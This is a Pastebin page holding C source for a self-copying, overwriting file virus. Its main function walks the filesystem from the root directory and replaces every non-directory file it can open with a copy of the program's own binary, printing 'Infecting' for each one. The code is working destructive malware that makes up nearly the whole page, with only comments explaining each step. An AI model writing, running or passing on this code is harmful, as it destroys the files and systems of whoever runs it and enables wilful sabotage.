Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include<stdio.h>
- #include<stdlib.h>
- #include<sys/types.h>
- #include<string.h>
- #include<errno.h>
- //readdir is defined here
- #include <dirent.h>
- //limit.h defines path_max
- #include<limits.h>
- int infectFile (char *virus, char *victim)
- {
- //Pointer to our file and file
- //needed to write
- FILE *fpVirus, *fpVictim;
- //Open our file for reading
- fpVirus = fopen(virus,"rb");
- if (fpVirus==NULL)
- {
- perror("Open Virus file");
- fclose(fpVirus);
- return 0;
- }
- //Open victim file for writing
- fpVictim = fopen(victim,"wb");
- if(fpVictim==NULL)
- {
- perror("Open Victim file");
- fclose(fpVictim);
- return 0;
- }
- int c;
- c = fgetc(fpVirus);//Read from file
- while(c!=EOF)//read until end
- {
- fputc(c, fpVictim);//write to file
- c = fgetc(fpVirus);//get next char
- }
- //remember to close our streams
- fclose(fpVirus);
- fclose(fpVictim);
- return 0;
- }
- //List the file in dir_name
- static void list_dir(const char *dir_name,
- char *self)
- {
- DIR * d;
- d = opendir(dir_name);
- //check it was opened
- if(!d)
- {
- fprintf(stderr, "Cannot open directory '%s': %s\n",
- dir_name, strerror(errno));
- exit(EXIT_FAILURE);
- }
- while(1)
- {
- struct dirent * entry;
- const char * d_name;
- //"Readdir" gets subsequent entries from "d".
- char fileName[PATH_MAX];
- int fileNameLength;
- entry = readdir(d);
- if(!entry)
- {
- //there are no more entries in this
- //directory, so break out of the
- //while loop
- break;
- }
- d_name = entry->d_name;
- fileNameLength = snprintf(fileName, PATH_MAX,
- "%s/%s",dir_name,
- d_name);
- //error checking to see if path is
- //too large to fit
- if (fileNameLength >= PATH_MAX)
- {
- fprintf(stderr,
- "File name length has got too long.\n");
- exit(EXIT_FAILURE);
- }
- //If the entry is not a directory
- //we'll attempt to infect it
- if(entry->d_type != DT_DIR)
- {
- //we need to check to not
- //infect our own file otherwise
- //an error would occur
- if (strstr(fileName,self+2)==NULL)
- {
- printf("Infecting: %s\n",fileName);
- infectFile(self, fileName);
- }
- list_dir(fileName,self);
- }
- //list_dir(path,self);
- //Recursively call "list_dir" with the
- //new path
- }
- //After going through all the entries, close
- //the directory
- //similar to closing the file stream with
- //FILE * with error checking
- if (closedir (d))
- {
- fprintf(stderr,
- "Could not close '%s': %s\n",
- dir_name, strerror(errno));
- exit(EXIT_FAILURE);
- }
- }
- int main(int argc, char *argv[])
- {
- //call a recursive function with
- //the base directory
- list_dir("/",argv[0]);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement